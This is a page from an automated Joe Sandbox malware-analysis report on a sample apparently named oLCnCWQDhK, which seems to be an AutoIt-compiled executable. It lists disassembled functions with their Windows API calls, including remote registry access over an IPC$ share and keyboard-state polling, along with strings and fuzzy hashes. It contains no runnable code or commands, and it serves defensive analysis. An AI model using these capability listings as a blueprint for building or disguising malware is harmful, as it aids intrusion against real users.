                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$74285C400ClientCursorD82980DestroyExtractIconRect
                              • String ID: 2
                              • API String ID: 32264481-450215437
                              • Opcode ID: 35af861e1287c83bf6b22685c9feb70a55a109cab4d535c9bbd66d0cf124b3e0
                              • Instruction ID: 8a8bfaa361b8e4ad447499ed02e60938d35b352fbee86dd909721fc396438cf5
                              • Opcode Fuzzy Hash: 35af861e1287c83bf6b22685c9feb70a55a109cab4d535c9bbd66d0cf124b3e0
                              • Instruction Fuzzy Hash: 19519070A00209AFDB10CF98CD95BEEB7B5FF49310F10815AEA09AB3A1D7B4AD41CB55
                              Function 0046081F Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 139COMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,00427F75,?,0000138C,?,00000001,?,?,?), ref: 004608A9
                              • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608B0
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,00427F75,?,0000138C,?,00000001,?,?,?,?,?,00000000), ref: 004608D0
                              • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608D7
                              • __swprintf.LIBCMT ref: 00460915
                              • __swprintf.LIBCMT ref: 0046092D
                              • _wprintf.LIBCMT ref: 004609E1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: HandleLoadModuleString__swprintf$_memmove_wcslen_wprintf
                              • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d:$^ ERROR
                              • API String ID: 3054410614-2561132961
                              • Opcode ID: 70def87c4b28ee4ab6614adc46955888b63d74e37d3694ee9c83f9e80406ad7b
                              • Instruction ID: 8ea7bd36613c7ff98b4c02c5a019b599898316a67ab96f708308d0ed756dbd7a
                              • Opcode Fuzzy Hash: 70def87c4b28ee4ab6614adc46955888b63d74e37d3694ee9c83f9e80406ad7b
                              • Instruction Fuzzy Hash: 654183B29001099BDB00FBD1DC9AAEF7778EF44354F45403AF504B7192EB78AA45CBA9
                              Function 00458651 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 135registryshareCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00458721
                              • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 0045873E
                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?), ref: 0045875C
                              • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 0045878A
                              • CLSIDFromString.OLE32(?,?), ref: 004587B3
                              • RegCloseKey.ADVAPI32(000001FE), ref: 004587BF
                              • RegCloseKey.ADVAPI32(?), ref: 004587C5
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_wcslen
                              • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                              • API String ID: 600699880-22481851
                              • Opcode ID: cfc91adc3568b3696bc93f198b4a86b184f94eddf56cabac594ca02b2fd0747b
                              • Instruction ID: 095cb2d92039a6881e8bf561e9cb0619f72fc8c68408713302cc045b8cca0367
                              • Opcode Fuzzy Hash: cfc91adc3568b3696bc93f198b4a86b184f94eddf56cabac594ca02b2fd0747b
                              • Instruction Fuzzy Hash: 58415275D0020DABCB04EBA4DC45ADE77B8EF48304F10846EE914B7291EF78A909CB94
                              Function 00450C41 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 122COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285
                              • String ID: static
                              • API String ID: 3433674075-2160076837
                              • Opcode ID: d780a762e7facdedeb15ece3d926807f2c32385f8c9501599d87c18bab5c95b9
                              • Instruction ID: e571488c54e010bbe3192cf51c39f0d33963e2fa0fa89bc12fd4c8100c345edb
                              • Opcode Fuzzy Hash: d780a762e7facdedeb15ece3d926807f2c32385f8c9501599d87c18bab5c95b9
                              • Instruction Fuzzy Hash: 2C41B375200205ABDB149F64DC85FEB33A8EF89725F20472AFA15E72C0D7B4E841CB68
                              Function 0045D94B Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 88COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D959
                              • GetDriveTypeW.KERNEL32(?,?), ref: 0045D9AB
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045DA4B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$DriveType
                              • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$\VH
                              • API String ID: 2907320926-3566645568
                              • Opcode ID: d176aaa606c69a21fa64de5f54fcf515c340d5c4a7f23c4320f7b4e4ff292d02
                              • Instruction ID: 8c6a7395db7573f60177d60b7e789de744ab79b943898383e565048f237880a7
                              • Opcode Fuzzy Hash: d176aaa606c69a21fa64de5f54fcf515c340d5c4a7f23c4320f7b4e4ff292d02
                              • Instruction Fuzzy Hash: B7316E35A042049BCB10FFA9C48595EB771FF88315B1088ABFD05AB392C739DD45CB6A
                              Function 00470928 Relevance: 16.7, APIs: 11, Instructions: 166timeCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00430003: InvalidateRect.USER32(?,00000000,00000001), ref: 00430091
                              • DestroyAcceleratorTable.USER32(?), ref: 0047094A
                              • 6FD80860.COMCTL32(?), ref: 004709AD
                              • 6FD80860.COMCTL32(?), ref: 004709C5
                              • 6FD80860.COMCTL32(?), ref: 004709D5
                              • DeleteObject.GDI32(00520000), ref: 00470A04
                              • DestroyCursor.USER32(0046004F), ref: 00470A1C
                              • DeleteObject.GDI32(CC1439CF), ref: 00470A34
                              • 74285CF0.USER32(009C00C0), ref: 00470A4C
                              • DestroyCursor.USER32(?), ref: 00470A73
                              • DestroyCursor.USER32(?), ref: 00470A81
                              • KillTimer.USER32(00000000,00000000), ref: 00470B00
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Destroy$CursorD80860$DeleteObject$74285AcceleratorInvalidateKillRectTableTimer
                              • String ID:
                              • API String ID: 2463394257-0
                              • Opcode ID: 4ee17edbf3fbf185c7a1b530a933687592c26a3f705ddbb244818e4a2882b4b3
                              • Instruction ID: 3938066daea6daae9dc0c39577387909b3bcb8112bd91d3310d64c2ecda3814a
                              • Opcode Fuzzy Hash: 4ee17edbf3fbf185c7a1b530a933687592c26a3f705ddbb244818e4a2882b4b3
                              • Instruction Fuzzy Hash: 24616874601201CFE714DF65DD94FAA77B8FB6A304B54856EE6098B3A2CB38EC41CB58
                              Function 00479362 Relevance: 16.6, APIs: 11, Instructions: 147memoryCOMMON
                              Download Yara Rule
                              APIs
                              • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,004795FD), ref: 00479380
                              • SafeArrayAllocData.OLEAUT32(004795FD), ref: 004793CF
                              • VariantInit.OLEAUT32(?), ref: 004793E1
                              • SafeArrayAccessData.OLEAUT32(004795FD,?), ref: 00479402
                              • VariantCopy.OLEAUT32(?,?), ref: 00479461
                              • SafeArrayUnaccessData.OLEAUT32(004795FD), ref: 00479474
                              • VariantClear.OLEAUT32(?), ref: 00479489
                              • SafeArrayDestroyData.OLEAUT32(004795FD), ref: 004794AE
                              • SafeArrayDestroyDescriptor.OLEAUT32(004795FD), ref: 004794B8
                              • VariantClear.OLEAUT32(?), ref: 004794CA
                              • SafeArrayDestroyDescriptor.OLEAUT32(004795FD), ref: 004794E7
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                              • String ID:
                              • API String ID: 2706829360-0
                              • Opcode ID: 604ca7338ef7579289b82c182b4992e50dced26e61eee24e9e1f7f7e4088d468
                              • Instruction ID: 8c269571b42c1441f814514f03b92edd351012a73d8239c9f379a0a89e1b4ae1
                              • Opcode Fuzzy Hash: 604ca7338ef7579289b82c182b4992e50dced26e61eee24e9e1f7f7e4088d468
                              • Instruction Fuzzy Hash: F6515E76A00119ABCB00DFA5DD849DEB7B9FF88704F10856EE905A7241DB749E06CBA4
                              Function 004447E0 Relevance: 16.6, APIs: 11, Instructions: 130keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • GetKeyboardState.USER32(?), ref: 0044480E
                              • GetAsyncKeyState.USER32(000000A0), ref: 00444899
                              • GetKeyState.USER32(000000A0), ref: 004448AA
                              • GetAsyncKeyState.USER32(000000A1), ref: 004448C8
                              • GetKeyState.USER32(000000A1), ref: 004448D9
                              • GetAsyncKeyState.USER32(00000011), ref: 004448F5
                              • GetKeyState.USER32(00000011), ref: 00444903
                              • GetAsyncKeyState.USER32(00000012), ref: 0044491F
                              • GetKeyState.USER32(00000012), ref: 0044492D
                              • GetAsyncKeyState.USER32(0000005B), ref: 00444949
                              • GetKeyState.USER32(0000005B), ref: 00444958
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: State$Async$Keyboard
                              • String ID:
                              • API String ID: 541375521-0
                              • Opcode ID: 9fce1f5b3a66d3eff563dda32bd6bc0484776d74d04e18c21d6e4f8d76764453
                              • Instruction ID: 827c2ee343902556a703916e37c968ecd50c133e95067caf6822082f003788d3
                              • Opcode Fuzzy Hash: 9fce1f5b3a66d3eff563dda32bd6bc0484776d74d04e18c21d6e4f8d76764453
                              • Instruction Fuzzy Hash: 27412B34A047C969FF31A6A4C8043A7BBA16FA1314F04805FD5C5477C1DBED99C8C7A9
                              Function 00470B6C Relevance: 16.6, APIs: 11, Instructions: 125COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: InitVariant$_malloc_wcscpy_wcslen
                              • String ID:
                              • API String ID: 3413494760-0
                              • Opcode ID: b3fce9f732112990bbb163bb6abadbd830b92813f31b22ad1e38064008f16c53
                              • Instruction ID: 93a03e1dde4748921c3f7e50244c45dc9774a8ad470eaa8d68eb3f4e8808ad8d
                              • Opcode Fuzzy Hash: b3fce9f732112990bbb163bb6abadbd830b92813f31b22ad1e38064008f16c53
                              • Instruction Fuzzy Hash: 33414BB260070AAFC754DF69C880A86BBE8FF48314F00862AE619C7750D775E564CBE5
                              Function 004542ED Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 271libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AddressProc_free_malloc$_strcat_strlen
                              • String ID: AU3_FreeVar
                              • API String ID: 2634073740-771828931
                              • Opcode ID: b7b62cf44ead268743cea15c23fa0702c80810b5d7796ec40f0430e9877b9643
                              • Instruction ID: 8d08e60933d1045585c44e473594da8d0bbfd8a8652ecee4fcef853dc29158a1
                              • Opcode Fuzzy Hash: b7b62cf44ead268743cea15c23fa0702c80810b5d7796ec40f0430e9877b9643
                              • Instruction Fuzzy Hash: 00B1ADB4A00206DFCB00DF55C880A6AB7A5FF88319F2485AEED058F352D739ED95CB94
                              Function 0046C5FA Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 208comCOMMON
                              Download Yara Rule
                              APIs
                              • CoInitialize.OLE32 ref: 0046C63A
                              • CoUninitialize.OLE32 ref: 0046C645
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                • Part of subcall function 0044CB87: CreateDispTypeInfo.OLEAUT32(?,00000800,?), ref: 0044CBD4
                                • Part of subcall function 0044CB87: CreateStdDispatch.OLEAUT32(00000000,?,?,?), ref: 0044CBF4
                              • CLSIDFromProgID.OLE32(00000000,?), ref: 0046C694
                              • CLSIDFromString.OLE32(00000000,?), ref: 0046C6A4
                              • CoCreateInstance.OLE32(?,00000000,00000017,00482998,?), ref: 0046C6CD
                              • IIDFromString.OLE32(?,?), ref: 0046C705
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateFrom$String$DispDispatchInfoInitializeInstanceProgTypeUninitialize_malloc
                              • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                              • API String ID: 2294789929-1287834457
                              • Opcode ID: 4dfaed0549f409efa28524cf643488acd2e6b782f2d71f2a42dfc1cbbaa944b5
                              • Instruction ID: adb6a6f601bf1a612e569d1fac1689f55b30b767fcafa950e0578031a668eb85
                              • Opcode Fuzzy Hash: 4dfaed0549f409efa28524cf643488acd2e6b782f2d71f2a42dfc1cbbaa944b5
                              • Instruction Fuzzy Hash: B861BC712043019FD710EF21D885B7BB3E8FB84715F10891EF9859B241E779E909CBAA
                              Function 004505F0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 147windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004506A0
                              • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 004506B4
                              • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004506D5
                              • _wcslen.LIBCMT ref: 00450720
                              • _wcscat.LIBCMT ref: 00450733
                              • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045074C
                              • SendMessageW.USER32(?,00001061,?,?), ref: 0045077E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$Window_wcscat_wcslen
                              • String ID: -----$SysListView32
                              • API String ID: 4008455318-3975388722
                              • Opcode ID: ffec743b0eb36e838b163f32d05296d45530ca8b23685d337e61e8ea6b23e255
                              • Instruction ID: d83f74bd31ff7b91e94eebeff09b40632409ca0fd113a8de7250d6f1aa6a1b31
                              • Opcode Fuzzy Hash: ffec743b0eb36e838b163f32d05296d45530ca8b23685d337e61e8ea6b23e255
                              • Instruction Fuzzy Hash: 9C51D470500308ABDB24CF64CD89FEE77A5EF98304F10065EF944A72C2D3B99959CB58
                              Function 00469BF3 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469C73
                              • GetDlgCtrlID.USER32(00000000), ref: 00469C84
                              • GetParent.USER32 ref: 00469C98
                              • SendMessageW.USER32(00000000,?,00000111), ref: 00469C9F
                              • GetDlgCtrlID.USER32(00000000), ref: 00469CA5
                              • GetParent.USER32 ref: 00469CBC
                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 00469CC3
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$CtrlParent$_memmove_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 2360848162-1403004172
                              • Opcode ID: 7a27601cbaa80f740c595597d901cdf30e8ed390f6d586fa417b55efe09de5c4
                              • Instruction ID: b77daa4920d68b7dc7b38413de7e2b04daab878370679d8231203fb1b5b646ea
                              • Opcode Fuzzy Hash: 7a27601cbaa80f740c595597d901cdf30e8ed390f6d586fa417b55efe09de5c4
                              • Instruction Fuzzy Hash: 0121E7716001187BDB00AB69CC85ABF779CEB85320F00855BFA149B2D1D6B8D845C7A5
                              Function 0045DC4C Relevance: 15.2, APIs: 10, Instructions: 190COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcscpy$FolderUninitialize$BrowseDesktopFromInitializeListMallocPath
                              • String ID:
                              • API String ID: 262282135-0
                              • Opcode ID: 6572a5b0ab20a3b352b20f616e179ebe31bc85c3400954ff5f88a0c3e804af97
                              • Instruction ID: f209a7e015878e5ef66622a864ec89938c936514b9877fb167e893f071c19078
                              • Opcode Fuzzy Hash: 6572a5b0ab20a3b352b20f616e179ebe31bc85c3400954ff5f88a0c3e804af97
                              • Instruction Fuzzy Hash: 25718275900208AFCB14EF95C9849DEB7B9EF88304F00899AE9099B312D735EE45CF64
                              Function 00448123 Relevance: 15.2, APIs: 10, Instructions: 187windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 004481A8
                              • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 004481AB
                              • 742845F0.USER32(?,000000F0,?,0000101F,00000000,00000000,00001200,00000000,00000000), ref: 004481CF
                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481F2
                              • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00448266
                              • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482B4
                              • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482CF
                              • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482F1
